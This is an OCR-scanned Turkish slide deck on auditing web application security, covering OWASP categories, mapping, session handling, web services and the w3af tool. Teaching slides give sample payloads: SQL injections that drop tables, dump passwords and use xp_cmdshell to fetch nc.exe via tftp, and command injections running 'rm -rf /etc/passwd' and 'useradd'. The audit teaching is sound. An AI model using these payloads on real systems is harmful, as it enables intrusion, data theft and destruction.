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Web Uygulamalarinin Guvenlik Sorunlar ]l<D

= Web temelli yazilim gelistirme, hizli ve sonuca &
yonelik yapilmaktadir; giivenlik kriterleri WEB*2.0
genelde g6z ardi edilmektedir.

= Hizli degisen teknolojilere uyum saglamak ve
uygulamaya entegre etmek her zaman
sorunlu olacaktir.

= Web uygulamasini gelistirmek gibi web
uygulamasina saldirmakta kolaydir,
programlama bilgisinin fazla olmasini
gerektirmez.

= @Genellikle paket yazilimlar yerine kurum ici
gelistirilmis yazilimlar (bir glvenlik
muhendisinin sorumlulugunda olmayan,
yamasi takip edilemeyen) tercih edilmektedir.
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Dernegi

Hedef Olmamak Mumkun mu ?

= Secunia - Okul Otomasyon Portal "id" SQL Injection
http://secunia.com/advisories/27268/

= Secunia - Furkan Tastan Blog "id" SQL Injection Vulnerability
http://secunia.com/advisories/27070/

= Secunia - Ohesa Emlak Portali SQL Injection Vulnerabilities
http://secunia.com/advisories/27033/

= Secunia - Y&K lletisim Formu Script Insertion Vulnerabilities
http://secunia.com/advisories/27034/

= Secunia - Husrev Forums Cross-Site Scripting and SQL Injection

http://secunia.com/advisories/26736/
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Neye Gore Denetlemeli ?

=  Yetersiz Kalacak Denetimler
= |T Audit
= Cobit
= 1SO 27001 / BS 7799

= Ne Yapilmali ?

= Denetim yaklagimi degistiriimell
- Soylenen degil, yapilan incelenmeli
- Teknik araclardan faydalaniimali
= Kagit Uzerinde ve uygulanmis mimariler karsilastirmali olarak incelenmel
= Uygulamanin sahip olmasi gereken guvenlik kriterleri arastiriimali
= Uygulamaya art niyetli bir kisi gibi girdi verilerek ciktisi izlenmel

= Kaynak kod analizi yapilmall
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Nasil Denetlemeli ?

= Uygulamanin soylediklerinin gercek olmadigini bilerek

-

[

[

-

[

Gizli Degiskenler Bulunamaz

Liste ve Secim Dugmelerine Baska Deger Gelemez
Javascript/Activex/Flash vb. Limitleri Agilamaz
Browser ile Uygulama Arasinda Olanlar Bilinemez

Sadece XXXX Browser ve XXXX Sdrum ile Girilebilir

= Ozgir denetim araclari kullanilarak

= Denetim ortamini her uygulamaya ozel gelistirerek

= Sorunlari degil, glvenlik aciklarini arayarak

(KL7

Kullanicilart
Dernegi
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Neler Denetlenmeli ?

= Geligtiricilerce Vaad Edilen Her Sey !

= Uygulamanin Hizmet Ettigi Amacin Olmazsa Olmazlari

= WASC Tehdit Siniflandirmasi

= Dogrulama

= Yetkilendirme
= Mantiksal Saldirilar
= |stemci Tarafi Saldirilari
= Komut Calistirma
= Bilgi Sizdirma
= PCI (Payment Card Industry) Data Security Standart 2 => OWASP Top 10
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Neler Denetlenmeli ?

=  OWASP 10
= Siteler Arasi Komut Calistirma (XSS)

= Enjeksion Aciklari (SQL Injection, Command Injection vs.)
= Zararli Dosya Calistirma (RFI, LFI)

= Emniyetsiz Dogrudan Nesne Erisimi

- Siteler Arasi Istek Sahteciligi (CSRF)

= Bilgi Sizdirma

= Oturum ve Kimlik Yonetimi Aciklari

= @GUvensiz Kripto Kullanimi

= Glivensiz lletisim

= URL Erisimi Kisitlama Bozukluklari
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Neler Denetlenmeli ?

= Teknik Zaafiyetler

-

[

-

-

SQL Sorgulari Degistiriimesi
Siteler Arasi Komut Calistirma

Oturum Sorunlarinin Kullanimi

= Mantiksal Zaafiyetler

-

[

-

Uriin Fiyatlar Degistirme
Hatal Yetkilendirme

Eski Kullanicilari Etkinlestirme
Yetkisiz Para Aktarimi

Bozuk Hesap Yaratma

(KD

Kullanicilart
Dernegi
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Denetim Araclari L

= Binlerce bilinen, onbinlerce bilinmeyen saldiri yontemi web uygulamalarini
tehdit etmektedir. Denetim surecinde her yontemi kullanmak mumkdn degildir,
bu nedenle otomatize yazilimlar siklikla kullaniimaktadir.

= Yardimci Araclarin Kullanim Yontemleri
- Web Uygulamasi Haritasinin Olusturulmasi

- Belirlenen Degiskenlerin veya Uygulama Bolumlerinin, Tanimlanan
Bicimde Dongulerle Denenmesi

- Profiller Tanimlayarak Bilinen Yontemlerle Saldiri Yapilmasi

- Browser ile Web Uygulamasi Arasinda Interaktif Proxy Kullanimi
= Farkli Dil veya Veri Kodlamalari Cevrimi

= Bilinen Zaafiyetlerin Otomatize Denetlenmesi

- Web Servislerinin Analizi
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Denetim Sureci ]l(D%

Kullanicilart
Dernegi

= Denetim Sdreci
= Haritalama
= Belirlenen Potansiyel Zaafiyet Noktalarinin Analizi
= Farkh Girdi Tarleri Gonderimi ve Cikti Analizi
- Otomatize Zaafiyet Tarama
= Farkl Kullanim Yaklagimlari
- Guvenlik Onlemlerinin Analizi
= TOmevarim ve Genel Yorum
= C6zUm Onerileri ile Raporlama
= TUm zaafiyetlerin denenmesi mimkun degildir !
- Ornekleme tercih edilmeli, zaafiyetten genel yorum ¢ikariimali

= Alinmig guvenlik 6nlemlerinin yeterliligi sorgulanmali

|0
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Dernegi

Web Uygulamasi Haritalama
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Web Uygulamasi Haritalama L=}

Kullanicilart
Dernegi

= Web Uygulamasi Denetim Kapsami icin Gereklidir

= Potansiyel Zaafiyet Noktalarinin Tespit Edilmesi icin Gereklidir

- Ornekleme Siirecinin Dogru islemesi icin Her Bilesen Grubu incelenmeli

= Web Uygulamasinin Tum Bilesenleri ve Degiskeleri Listelenir

-

[

-

[

-

[

Pasif Uygulama Bilesenleri (Resim, Html, Javascript, CSS vb.)
Aktif Uygulama Bilesenleri (PHP, ASP, DLL, EXE, JSP vb.)
Uygulamanin Kabul Ettigi Degiskenler ve Turleri (GET ve POST ayrimi)

Formlar ve Amaclar
Harici Uygulama Bilesenleri (Dis uygulamalar, Ornekler vb.)

Yonetim Arabirimi

= Sadece Sayfalarin Baglantilarini Analiz Eden Yazilimlar Yetersizdir

12
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Haritalama Yontemleri

= Interaktif bir proxy ile gezilen sayfalarin ve 6zelliklerin kayit edilmesi

= Haritalama 6zelligi bulunan Interaktif proxy ile gezme ve haritalamanin birlikte
calistiriimasi

= MUmkun oldugunca fazla sayfa gezilmeli, formlarin dogru sekilde kabul
edildiginden emin olunmali

= GET ve POST istekleri dogru bicimde yorumlanmali
= Sadece haritalama yapan yazilimlar ile uygulamanin haritalanmasi
= Bilinen dizin, dosya ve uygulamayi arayan turde yazilimlarin kullanimi
= Yedek, ornek uygulama ve isim benzerlikleri icin arastirma yapilmali
= Uygulama icin farkli dogrulama yontemleri kullaniimali

= Haritalama yapilirken sadece uygulama bilesenlerini degil, hangi uygulama
bileseninin hangi degiskeni kabul ettigi de kayit edilmeli

13

Monday, October 10, 2011



(L

Kullanicilart
Dernegi

Girdi Dogrulama Sorunlari
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Girdi Dogrulama Sorunlari IKD

Kullanicilart
Dernegi

= Kullanicilar her zaman beklenen turde veri gondermezler, bu durum
uygulamanin beklenmeyen durumlar olusturmasina neden olabilir

= Normal sayi yerine daha buyuk sayi, alfanimerik bir yere 0zel karakter
giriimesi gibi islemler hatalar dogurabilir

= Ozel karakter, uygulamanin kullandigi yere baglh olarak beklenmeyen islemler
de gerceklestirebilir

Error Type:
Microsoft OLE DB Provider for Oracle {(0x80040E14)

= SQL SorQUIan NiN DeQI§t|r||meS| ORA-00933: SQL command not properly ended

/ Jforgotpassword4.asp, line 8

= Komut Sorgularinin Degistiriimesi

= LDAP Sorgularinin Degistirilmesi  uemame.

Password:

System.Web.Services.Frotocols.SoapException: |Server was unable to prpcess request. --->
- 't I A K t I t System.Data.SqlClient.BqglException: All queries|in an SQL statement cohtaining a UNION
I e er raSI Om u a I§ I rma operator must have anjequal number of exprespions in their target lists] at
System.Data.SqlClient.pglCommand.ExecuteRepder(CommandBehaviorjcmdBehavior,
RunBehavior runBehavjor, Boolean returnStrean) at
System.Data.SqlClient.pqlCommand.ExecuteRepder() at

|

HacmeBank_v2_WS.SglServerEngine.executeSRLCommand_returnSqldataReader(String

L]
[ ] Q I [ ] "\
S t I I te k S t I : - ; : -
I e e r rEI'S I S EI‘ e c I Igl :?JS;:g;OEX:ELEj)SdSIEISwc:g ne.returnArrpyListFromSQLQuery_cdntaining_FirstRow(String

sqlQuery) at HacmeBarlk_v2_WS.DataFactory.(etUserDetail(String fielqToUse, String
valueToSearch) at
HacmeBank_v2_WS.WE_UserManagement.GetUserDetail_using_loginIP(String sessionID,

= Zararlh Dosya Calistirma

= Bellek Tagsmalari
|5
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Uygulamanin Girdi Kabul Ettigi Yerler

-~ istek Baglik Bilgileri

-

[

Istemci Bilgileri

Protokol Basliklari

= Uygulama Bilesenleri

-

-

-

Formlar

Secimli, Listeli, Gizli Degiskenler

Diger Uygulama Bilesenleri (GET/POST)
Cevre/Ortam Degiskenleri

XML Verileri

SOAP Véerileri

Dis Kaynaklardan Alinacak Veriler

(KD

Kullanicilart
Dernegi

16
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SQL Sorgularinin Degistiriimesi ]KD

Kullanicilart
Dernegi

= Kullanicidan/Dis Kaynaktan alinan verinin, kontrol edilmeden SQL
cumlelerinde kullaniimasi sonucu olusur.

= Veritabanina yetkisiz erisim imkani verir, kullanici dogrulamanin
atlatilmasini saglar, veritabani sunucusu Uzerinden sistemde komut
calistirilabilir.

http://www.XXX.com/login.asp?user=gelenisim&pass=sifre
select uid from users where username="gelenisim’ and password="gelensifre’

select uid from users where username="admin’ --’ and password="yanhs’

select uid from users where username=deneme’; exec master..xp _cmdshell
‘tftp.exe -i 192.168.1.1 GET nc.exe’; --’ and password="yanhs’

select uid from users where username="admin’ UNION ALL SELECT password
from users --" and password="gelensifre’

select uid from users where username=""; DROP table users --’ and
password="yanhs’
|7
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SQL Sorgularinin Degistiriimesi ]KD

Kullanicilart
Dernegi

= Denetlenmesi icin her bir degiskene SQL sorgularinda anlam ifade edebilecek
karakterler/kelimeler gonderilmeli, ¢iktilar izlenmeli

"5 ==-* SELECT DROP INSERT UPDATE CREATE

= Hata mesajlarina ulasilamiyorsa (standart bir hata mesaji donuyorsa) ; SQL
sorgusuna hata dondirmeyecek ancak calistigina emin olabilecegimiz
ifadeler tercih edilmel

"OR 1="1 >AND 1="1 ’; == 3 WAITFOR DELAY ‘0:0:10° --

= Eger basit ve atlatilabilir glivenlik 6nlemleri alindigi disunualtyorsa, guvenlik
onlemi alinmadigi disunulen sekilde veriler gonderilmeli

\’; -- SEL/*ACIKLAMA*/ECTchar(59)

|18
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Komut Sorgularinin Degistirilmesi ]KD%

Kullanicilart
Dernegi

= Kullanicidan/Dis Kaynaktan alinan verinin, kontrol edilmeden Komut
cumlelerinde kullaniimasi sonucu olusur.

=  Sisteme yetkisiz erisim imkani verir, sistemde komut caligtirilabilir.

http://www.XXX.com/tarih=11102007
degisken=system(‘date -s tarih’)

degisken=system(‘date -s 11102007’)
degisken=system(‘date -s 11102007; rm -rf /etc/passwd’)
degisken=system(‘date -s 11102007; useradd saldirgan’)

= XML, LDAP vb. bircok degisik sekilde kargilagiimaktadir.

= Dogrudan bu tar zaafiyetleri denetleyen bir arac yoktur veya verimli degildir.
19
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Siteler Arasi Komut Calistirma ]KD

Kullanicilart
Dernegi

= Kullanicidan/Dis Kaynaktan alinan verinin, kontrol edilmeden HTML
sayfa iceriginde veya e-postada kullaniimasi sonucu olusur.

- |stemci tarafinda beklenmeyen durumlar olusturabilir, istemcide
komut calistirilabilir, sayfa gorinimu gecici olarak degistirilebilir veya istemci
yaniltilabilir.

= Diger saldiri tlrlerinden farkli olarak insan unsurunu ¢ok fazla kullanmasindan
dolay! tehlikenin boyutu ¢cok degiskendir.

http://www.XXX.com/isim=Mehmet
Hosgeldin Mehmet

http://www.XXX.com/isim=Ziyaretci, <br><h1>Burasi Hack Edilmistir</h1>

Hosgeldin Ziyaretct,

Burasi Hack Edilmistir

20
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Siteler Arasi Komut Calistirma ]l<D

Kullanicilart
Dernegi

= |stemci tarafinda bir islem yapmak icin kullanilir ;

= |stemcinin oturumunu calmak (Cookie degerini almak)

= |stemcinin sistemini ele gecirmek

= |stemcinin gérdigi sayfay! degistirmek

- Sayfaya bir form koyarak, istemcinin bagka bir sayfaya veri
gondermesini saglamak

- Istemcinin kendi yetkileriyle 6zel bir islemi yapmasini saglamak

- Sayfaya istenmeyen bir resim veya ifade koyarak kurumu kicuk
dlisurmeye calismak

= Uygulamanin girdiyi kaydetmesine gore Gecici veya Kalici sekilde yapilabilir.
= HTML, Javascript, VBScript ve ActiveX gibi cok sayida nesne kullanilabilir.

= |stemci yazilimlarinin zaafiyetleri de istismar edilebilir. (ani, wmf, tiff vb.)

21
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Kullanicilart
Dernegi

Kullanici, Grup ve Yetki Yonetimi
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Kullanici, Grup ve Yetki Yonetimi ]KD

Kullanicilart
Dernegi

= Uygulamalar, farkli kullanici profilleri olabilecegi 6ngorulerek kullanici yonetimi
sistemine sahip olurlar; ancak kullanici yonetim sistemi genellikle ciddi hatalar
barindirmaktadir.

= Kullanici / Grup Kullanimi Yetersizlikleri
= Yetki Dagitim ve Takip Yetersizlikleri

=  Qifre Politikasi Yetersizlikleri

= Hatali Kriptolama Kullanimi

= Denetim, diger zaafiyetlerin denetimine oranla zordur; istemci tarafindan
gorulenler yeterli bulunmamali ve gelistiricinin semalari/kodlari kontrol
edilmelidir.

= Ozel araclar bulunmamakla birlikte Interaktif Proxy’ler genellikle yeterli
olmaktadir.

23
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Kullanicilart
Dernegi

Kullanici, Grup ve Yetki Yonetimi

= Kullanici / Grup Kullanimi Yetersizlikler:
= Kullanici Kimliklendirme Sorunlari
- Eski Kullanicilarin Yonetimi
- Kullanici Kimlik Secimi Yontemi (Isim, 1P, Alan Adi vb.)
= Kullanici Gruplamasi Kullaniimamasi
= Grup Takibinin Istemci Tarafinda veya Basglik Bilgilerinde Yapilmasi
= Yetki Dagitim ve Takip Yetersizlikleri
=  Yetkilerin Gruplara Atanmamasi, Kullanici Girisinin Yeterli Gortulmesi
= Yetki Takibinin Istemci Tarafinda veya Baslik Bilgilerinde Yapiimasi
= Her Uygulama Bileseninde Kontrol Edilmemesi

= YOnetim Arabirimlerine Dogrudan Erigsim Verilmesi

24
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Kullanicilart
Dernegi

Kullanici, Grup ve Yetki Yonetimi

=  Qifre Politikasi Yetersizlikleri
= Qifre Kalitesi
= Qifre Guncelleme ve Yaslandirma
= Eski Sifre Gegerlilikleri ve Karsilastirma
= Qlfre Kurtarma, Alternatif Sifre Kullanimlari
= Hatali Kriptolama Kullanimi
= Kullanici Girisini Kriptosuz (SSL/TLS vb. olmayan) Ortamda Yapmak
= Veritabaninda Sifreleri Kriptosuz Tutmak
= Oturum Degerini veya Diger Degerleri Kolay Bir Algoritma ile Kriptolamak

= |stemciden Sifreyi Diiz Metin Olarak Almak

25
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Kullanicilart
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Denetim Yontemleri

= Zayif Kullanici ve Sifre Secimleri Denenmelidir
= Deneme Yanilma veya Bir SOzlUk Saldirisi Gerceklestirme
= Qifre Unutma ile Hesap Kurtarma
= Kullaniliyorsa Harici Dogrulama Yéntemlerinin Incelenmesi

= @Giris Yapilan Kullanici ile Diger Kullanicilarin Kaynaklarina Erisim
Denenmelidir

= Hesap Bilgilerine Erisim
= Bir Sayfaya Dogrudan Istekte Bulunmak
= Denetim Yaklasimiyla Normal Islemler Gergeklestiriimelidir
= Kullanici Girisinde Kripto Kullanimi
= Potansiyel YOnetim Arabirimi Girigleri
= Cookie, Baslik Bilgileri ve Gizli Degiskenlerin Incelenmesi
= Gelistiriciden Alinan Dékiimantasyon Incelenmelidir

26
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Ornek Zaafiyet LIS

Kullanicilart
Dernegi

A - Uiellk Bllillerlnlz

3/10/08 2:28 PM
info@gamasec.net v

Sevgili
B cb sitesi Uyelik bilgileriniz asagidaki gibidir:

Kullanici adi = test

Sifre = 1234567

Saygilarimizla

27
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Ornek Zaafiyet

(KD

Kullanicilart
Dernegi

= Kullanici Sifreleri E-Posta lle Diiz Metin Olarak Génderiliyor

Uiellk Bllillerlnlz

3/10/08 2:28 PM
info@gamasec.net v

Sevgili
B cb sitesi Uyelik bilgileriniz asagidaki gibidir:

Kullanici adi = test

Sifre = 1234567

Saygilarimizla

27
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Ornek Zaafiyet [KD/A

Kullanicilart
Dernegi

= Kullanici Sifreleri E-Posta lle Diiz Metin Olarak Génderiliyor

= Kullanici Sifreleri Veritabanina Duz Metin Olarak Kayit Ediliyor

Uie“k Bilillerlniz

3/10/08 2:28 PM
info@gamasec.net v

Sevgilit
B cb sitesi lUyelik bilgileriniz asadidaki gibidir:

Kullanici adi = test

Sifre = 1234567

Saygilarimizla

27
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Ornek Zaafiyet [KDA

Kullanicilart
Dernegi

= Kullanici Sifreleri E-Posta lle Diiz Metin Olarak Génderiliyor
= Kullanici Sifreleri Veritabanina Duz Metin Olarak Kayit Ediliyor

= Qlfre Politikasi Yetersiz ve Hesaplar Kolay Sifrelere Sahip Olabiliyor

Uiellk Bllillerlniz

3/10/08 2:28 PM
info@gamasec.net v

Sevgilit
B cb sitesi Uyelik bilgileriniz asagidaki gibidir:

Kullanicit adir = test

Sifre = 1234567

Saygilarimizla

27
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Oturum Yonetimi ]KD

Kullanicilart
Dernegi

= HTTP protokoll, oturum takibi bulunmayan ve her istegin bagimsiz kabul
edildigi bir protokoldir. Bu nedenle Web Uygulamalari kendi oturum takip ve
yonetim sistemine sahip olmak zorundadir.

= Her istegin dogru kullanici profiline yonlendirilmesi
= Kimligin ve yetkilerin isteklerde nasil yer alacaginin belirlenmesi
= Kullanici isteklerinin gecerliliginin ve takibinin yapiimasi

= Denetim, diger zaafiyetlerin denetimine oranla zordur; istemci tarafindan
gorulenler yeterli bulunmamali ve gelistiricinin semalari/kodlari kontrol

edilmelidir.

= QOzel araclar bulunmamakla birlikte Interaktif Proxy’ler genellikle yeterli
olmaktadir.

29
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Kullanicilart
Dernegi

Oturum Yonetimi

= Kimlik ve Oturum Takip Bilesenleri
= Cookie Kullanimi
= @Gizli Degiskenlerin Kullanimi
= Oturum Takibinde Kriptolama Kullanimi
= Gelistirme Platformu ve Gelistiricilerin Kullandigi Farkli Yontemler
= Ek Kimlik Tanimlar
- IP Adresi, Yerlesim, Sare
=  Oturum Sorunlari
= Oturum llklendirme ve Takibi
= Gecersiz/Hatal veya Iptal Edilmis Oturumlar
= Oturum Zaman Asimlari
= QOturum Sonlandirma Yontemi
= Her Uygulama Bileseninde Yetki ve Oturum Takibi

30
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Kullanicilart
Dernegi

Denetim Yontemleri

=  Oturum Takibinin Denetimi
= Eski, Gecersiz, Tekrar Eden ve Bozuk Oturum Degerleri ile Dogrulama
= Oturum Takip Yonteminin Analizi
- Gelistirme Platformu Ozellikleri
- Gelistirici Tarafindan Eklenen Ozellikler
= Her Uygulama Bileseninin Oturum Takibi Tepkisinin Analizi
= Es Zamanl Oturum Kullanimi
= Oturum Zaman Asimlari Denetimi
= Oturum Sonlandirma Ydéntemi Analizi
= Oturum Zaman Asimi Kriterleri Analizi
= Denetim Yaklasimiyla Normal Islemler Gergeklestiriimelidir
= CIkis/Giris Yapmak
= Yetkisiz Alanlara Erismeye Calismak
= Gelistiriciden Alinan Dékiimantasyon Incelenmelidir

31
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Web Servisleri
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Web Servisleri ]KD%

Kullanicilart
Dernegi

= Uygulamalar Yapilan Islemlerin Bir Kismini Web Servisi Olarak Kullanabilir
=  Ortak Fonksiyonlarin Kullanimi
= Araylz Gereksinimi Olmayan Durumlar
= Orta Katman Yazilimlari, Dagitik Programlama
= Veri Akisi icin XML Yapisi Kullantlr
= XML Yorumlama ve Kontrol
= XML Kriptolama
=  SOAP, XML RPC vb.
= Web 2.0 ile Cok Yogun Kullaniimaktadir
=  SOAP (Simple Object Access Protocol)
= Her Dil Icin Uzantilar Bulunuyor (PHP, .NET, Java vb.)
= XML ile Alinan Verinin Bir Fonksiyona Aktarilmasi Gibi Calisiyor
= Farkl Veri Tiplerini ve Dosya Eklerini Destekliyor

33
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SOAP / XML [KD

Kullanicilart
Dernegi

= WSDL ( Web Service Definition Language) Analizi
= Web Servisinin Nasil Calisti§i ve Ne Tir Girdileri Kabul Ettigini Icerir
= Standart Olarak Bulunmasi Gerektiginden Genellikle Kaldiriimaz
= Denetim Icin Giris Noktasini Olusturur
- Hangi Degiskenler ve Yontemler Denetlenecek, Degisken Turleri
= XML Semasi Araciligiyla Kabul Edilen Verilerin Analizi
= XML Semasi Degistiriimesi
= Yenl Etiket, Nesnelerin Kullanimi
= Web Servisi Ara Katman Olarak Kullanildigi Icin Diger A¢iklardan da Etkilenir
= SQL Sorgulari Degistirilmesi, Siteler Arasi Komut Calistirma
= @Girdiyi Alan Bir Uygulama Var ise; Bellek Tasmalari, Karakter Sekli Saldirisi

= Diger Uygulama Bilegenleri Gibi Oturum ve Kullanici Takibi Sorunlari Vardir
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= WSDL Verisi Dikkatle Incelenmeli ve Denetlenecek Nesneler Belirlenmeli
= Tanimli Degiskenlerin Kullanimi, Eksik Gonderim, Yeniden Tanimlama
= XML Semasinin Degistirilmesi, Yeni Etiketler, Bozuk Etiketler
= Diger Uygulama Temelli Aciklar icin Degiskenler Analiz Edilmel
- Dosya Ekleme Ozelliklerinin Denetimi (Kodlama, Sikistirma, Bozma vb.)
=  Farkl Dil Kodlamasi, Veri Kodlamasi Kullanimi
= Otomatize Web Servisi Yazilimlari Araciligiyla Bilinen Zaafiyetler Incelenmeli
= SOAP Verileri Uzerinde Kripto Kullanimi ve Sayisal Imza Analizi

= Orta Katman Yazilimi Olarak Kullaniliyorsa, Servisi Kullanan Diger
Yazilimlarin Veri Aktarim Yontemleri ve Davraniglari Analiz Edilmel
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Diger Denetim Kontrolleri

= Uygulama Platformu Yapilandirmasi
= Yapilandirma, Guncelleme, Ornek Uygulamalar
= QOlay Kayit Mekanizmasi ve Kayit Ortami
= Olay lzleme, Kayit Yetkileri, Detay Seviyesi, Kriptolama Kullanimi
- Hata Yakalama Ozellikleri
= Veritabani/Sunucu/Uygulama Hatalari, Detay Seviyesi
= Art Niyetli Hareket Onlemler
= Qifre Denemesi Engelleme, Tepki Esikleri, Tepkinin Kotiye Kullanimi
= |stemci Glivenligi

= @GOrunum Anlasilabilirligi, GUvenlik Uyarilari, Dogru Yonlendirme
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- W3AF - http://w3af.sourceforge.net/
= Ozgir Yazihm, GPL

= Interaktif Proxy

- Eklenti Destegi

- Otomatize Guvenlik Denetimi

waf

= Web Uygulamasi Haritalama
= SQL Sorgusu Degistirme
= XSS
- RFI/LFI Dosya Isletme
= Dondsturicu ve Kodlayicilar

= Web Guvenlik Duvari Atlatma
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Configuration

History ‘

Request and Response

[KDA

Linux
Kullanicilart
Dernegi

w3af - Proxy

l Request

Response

GET https:fflocalhost:443/w3af/audit/xss) HTTP/1.1
accept-language: en-us,en;q=0.5

accept-encoding: gzip.deflate

connection: keep-alive

keep-alive: 300

accept: text/html, application/xhtml+xml.application/xmlg=1
user-agent: Mozillass.0 (X11; U; Linux i686; en-US; n.:1.9.0.6
accept-charset: 1SO-8859-1,utf-8:q=0.7 *:.q=0.7

host: localhost

referer: https://localhostjw3af/faudt/

cookie: style=default; PHPSESSID=98fSbdb3ee7724a2d1ee

HTTP/1.1 200 OK

content-length: 1728

accept-ranges: bytes

keep-alive: timeout=15, max=99

server: Apache/2.2.8 (Ubuntu) DAV/2 mod_python/3.3.1 Python/2.5.2 PHP/5.2.4-2ubuntu5.5 with Suhosin-Patch mod_ssl/2.2.8 OpensS:
last-modified: Wed, 18 Nov 2008 18:42:47 GMT

connection: Keep-Alive

etag: '2¢61fc-6c0-45c0f2dab7¢0"

date: Fri, 13 Feb 2009 23:28:45 GMT

content-type: text/html

(T [2) | )
< IDOCTYPE html PUBLIC *-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd"> £
<html xmins="http://www.w3.0rg/1999/xhtm|" xml:lang="en">

<head>
<link rel="stylesheet* type:"text{css%ref:"MBaf/defauh css” title="default" />
<title>Cross site scripting tests</title>
</head>
<body=>
<dwv id="body">
<hl id="xss">
XSS Tests in guery strings
</hl=>
<ol> =
7 7 B
ey X
I Crog I send l’ Next ]
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Profiles Edit Tools Configuration Help
[ S 4 & % R~
Wizards New Save =% Mults o1 Manual Request Fuzzy Request Encode/Decode Compare  Proxy
Scan config || - | Besults l Exploit l
Profiles ' w3af - Manual Requests | ’ ‘ 9—?
OWASP_TOP10 | Response =
audit_high_risk ' '
p GET httpyflocalhost/scnpt.php HTTP/1.0 HTTP/1.1 404 Not Found
bruteforce Host: www.some_host.com date: Fri, 13 Feb 2009 19:31:24 GMT
dav User-Agent: w3af.sf.net content-length: 395
fast scan Pragma: no-cache content-type: text/html; charset=is0-8859-1
ful - i Content-Type: application/x-www-form-urlencoded server: Apache/2.2.8 (Ubuntu) DAV/2 mod_python/3.3.1 Python/2.5.2 PHP/5.2.4-2ubuntus.
ull_au
full_audt_manug
os
sitemap -
sql g
testfile <!DOCTYPE HTML PUBLIC *-/IETF//DTD HTML 2.0//EN">
web_infrastructu <html><head>
<title>404 Not Found<fitle>
</head><body>
<hl>Not Found</hl>
<p>The requested URL /script.php was not found on this server.</p>
<hr>
<address>Apache/2.2.8 (Ubuntu) DAV/2 mod_python/3.3.1 Python/2.5.2 PHP/5.2.4-2uk
</body></html>
)
& | N L
| Fix content length header | Send
@0 Ao ®o
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Baglantilar

=  OWASP - www.owasp.org
= Top 10 - www.owasp.org/index.php/Top_10_2007
= Arac Listesi - www.owasp.org/index.php/Phoenix/Tools
= Denetim Rehberi - www.owasp.org/index.php/Category:OWASP_Testing_Project
=  WASC - www.webappsec.org
= Web Gulvenlik Tehdit Siniflandirmasi - www.webappsec.org/projects/threat
= Makaleler - www.webappsec.org/projects/articles
= Secunia - www.secunia.com
=  Security Focus - www.securityfocus.com
= Web Guvenlik Toplulugu - www.webguvenligi.org

= SANS Okuma Odasi - www.sans.org/reading_room
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